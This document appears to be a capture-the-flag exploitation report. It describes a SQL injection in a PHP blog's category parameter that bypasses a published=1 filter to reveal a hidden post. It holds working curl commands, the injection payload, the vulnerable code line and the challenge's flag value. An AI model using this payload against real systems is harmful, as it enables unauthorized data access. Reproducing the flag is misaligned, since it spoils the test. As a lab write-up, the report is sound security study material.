# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: SQL Injection Bypass of Authorization Controls to Access Unpublished Content

**Summary:**
- **Vulnerable location:** GET /index.php?category={payload} - SQL injection in category parameter
- **Overview:** Successfully bypassed the application's `published=1` filter using SQL injection to gain unauthorized access to unpublished blog posts, including the "PRIVATE POST" in the "Hidden" category containing the CTF flag.
- **Impact:** Complete bypass of business logic authorization controls. Extracted sensitive unpublished content including the CTF flag: `FLAG{f2b9a3c9a3ec2f6c6f073b803a978c8ab7b05c33963d9688fd69ed10d9ea01de}`
- **Severity:** Critical

**Prerequisites:**
- Network access to http://localhost:33363
- No authentication required
- No special tools needed (curl or web browser sufficient)

**Exploitation Steps:**

1. **Verify baseline behavior (unpublished content is hidden):**
   ```bash
   curl -s "http://localhost:33363/index.php" | grep -c "PRIVATE POST"
   ```
   **Expected Result:** Returns `0` - confirming PRIVATE POST is not visible in normal operation

2. **Exploit SQL injection to bypass published=1 filter:**
   ```bash
   curl -s "http://localhost:33363/index.php?category=%27%20OR%20published%3D0%20--%20"
   ```
   **URL Decoded Payload:** `' OR published=0 -- `
   
   **SQL Injection Mechanism:**
   - Original query: `SELECT * FROM posts WHERE published = 1 and category = '' ORDER BY created_at DESC`
   - Injected query: `SELECT * FROM posts WHERE published = 1 and category = '' OR published=0 -- ' ORDER BY created_at DESC`
   - The `OR published=0` clause bypasses the authorization filter
   - The `--` SQL comment character ignores the trailing quote

3. **Extract the FLAG from the response:**
   ```bash
   curl -s "http://localhost:33363/index.php?category=%27%20OR%20published%3D0%20--%20" | grep -o 'FLAG{[^}]*}'
   ```
   **Result:** `FLAG{f2b9a3c9a3ec2f6c6f073b803a978c8ab7b05c33963d9688fd69ed10d9ea01de}`

**Proof of Impact:**

**Unauthorized Data Accessed:**
- **Post Title:** PRIVATE POST
- **Post Category:** Hidden
- **Post Content:** `<FLAG>FLAG{f2b9a3c9a3ec2f6c6f073b803a978c8ab7b05c33963d9688fd69ed10d9ea01de}</FLAG>`
- **Published Status:** 0 (unpublished - should NOT be accessible)

**Evidence of Authorization Bypass:**
1. Without exploit: PRIVATE POST is completely invisible (grep count = 0)
2. With exploit: PRIVATE POST becomes visible and FLAG is extracted
3. This demonstrates complete bypass of the application's authorization controls (published=1 filter)

**Technical Details:**
- **Vulnerable Code Location:** `/var/www/html/index.php` line 45
- **Vulnerable Code:** `$sql .= "and category = '" . $category . "' ";`
- **Root Cause:** Direct string concatenation without parameterized queries or input sanitization
- **Authorization Mechanism Bypassed:** SQL WHERE clause `published = 1` filter (line 39)
- **Secondary Filter Bypassed:** PHP string check `if ($category == "Hidden") $category = "";` (lines 41-42)

**Attack Classification:**
- **Vulnerability Type:** Horizontal Authorization (accessing restricted data at same privilege level)
- **Attack Vector:** SQL Injection
- **Authentication Required:** No
- **Complexity:** Low (trivial single-request exploit)

**Notes:**
This vulnerability demonstrates a critical failure in authorization design where business logic filters (SQL WHERE clauses) are used as security controls without proper input validation. The application attempts to hide unpublished content through database filtering, but the SQL injection vulnerability allows complete bypass of these filters. The "Hidden" category string check is also ineffective against SQL injection payloads.
